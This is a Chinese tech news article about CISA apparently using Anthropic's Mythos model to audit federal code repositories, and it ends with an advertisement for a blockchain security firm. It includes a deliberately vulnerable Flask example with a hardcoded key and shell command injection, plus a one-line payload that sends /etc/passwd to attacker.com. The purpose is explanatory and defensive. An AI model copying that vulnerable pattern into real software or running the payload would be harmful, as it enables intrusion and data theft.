美安全机构用安全模型Mythos扫描政府代码，查出大量漏洞

美国网络安全和基础设施安全局最近干了一件挺戏剧化的事，把 Anthropic 专为漏洞审计定制的模型 Mythos 搬进了联邦政府代码仓库的扫描流水线。执行方是 CISA 内部那个常年搞数字安全评估和红队演练的「攻击面评估团队」。这一轮 AI 驱动的审计已经挖出「大量漏洞」，但具体涉及哪些机构、严重程度如何，CISA 一句没往外说。
更有意思的是背景板。Anthropic 今年 2 月还被五角大楼以「供应链风险」为由拉进过黑名单，理由是这家公司不肯撤掉防止模型被用于自主武器和国内监视的安全护栏，直到 3 月被法官拦下才没彻底落地。
Mythos 到底在扫什么
和传统静态扫描工具不一样，Mythos 不是靠规则库硬匹配。它吃的是面向安全场景调过的语料，能跨文件追依赖、能读业务逻辑、能把「支付少了二次验签」「鉴权路径能绕」这类传统 SAST 经常漏掉的深坑拎出来。
攻击面评估团队跑的这套流水线，大致拆成五段：
代码接入：挂进政府侧 GitHub Enterprise／GitLab 自托管仓库，顺带管 CI/CD 中间产物和锁文件，覆盖 C/C++/Java/Python/Go/Rust/JS/TS
静态分析：逐行读逻辑，追内存安全缺陷（缓冲区溢出・UAF）也追逻辑缺陷（鉴权绕过・权限提升・信息泄露），还能顺手甩 PoC
依赖审计：第三方库版本・弃维护包・License 合规一条龙，依赖树全链路出报告
优先级排序：CVSS 叠 EPSS 可利用性评分，再按受影响系统关键级别排座次，附修复工时估和补丁建议
修复闭环：AI 先写补丁 → 提 PR → 等人批 → 修完回归验
一段可以被 Mythos 拎出来的「政府仓库常见病」
下面这段是虚构的示例，但非常贴近联邦遗留系统里常撞见的写法（Python／Flask 风格）：
import os
import subprocess
from flask import Flask, request

app = Flask(__name__)
API_KEY = "sk-live-cisa-internal-9f3a21"   # ← 硬编码凭证

@app.route("/admin/healthcheck")
def healthcheck():
    host = request.args.get("host", "127.0.0.1")
    # 拼接外壳命令，无过滤
    out = subprocess.check_output(f"ping -c 1 {host}", shell=True)
    return out
Mythos 会怎么看这段代码：
API_KEY明文写死在源码里，扫依赖树时还能顺手比对 .env模板和真实提交记录，判断是不是曾经被推到远端又删掉的那种「假删除」
/admin/healthcheck这个路由没挂任何鉴权装饰器，属于「鉴权绕过」类逻辑缺陷
subprocess.check_output(..., shell=True)拼了外部传入的 host参数，典型的命令注入，ping -c 1 127.0.0.1; curl attacker.com/exfil?$(cat /etc/passwd)就能打
Mythos 还会跨文件追：看 API_KEY在哪些下游模块被 import引用，画一条外泄路径，再给一个 CVSS 叠可利用性的评分
传统 SAST 可能只报第三点（命令注入），但 Mythos 会把一+二+三串成一条「攻击链」输出，并附 PoC 和补丁，这正是 CISA 愿意把它搬进政府仓库的原因。
ChainSafeAI（链熵科技）是一家专注于区块链安全公司，以“数据驱动 + 技术赋能”构建360°全方位安全防护体系，服务于交易所、金融机构、OTC服务商及加密资产投资者。
公司提供覆盖KYT风险监测、智能合约审计、加密资产追踪、区块链漏洞测试等在内的全维度安全与合规技术解决方案，助力客户防范洗钱、诈骗等风险，保障业务合规运行。
通过实时风险预警、合规审查与资金溯源分析，协助客户识别链上异常行为、防范洗钱及诈骗风险、降低被盗损失并提升资产追回可能性。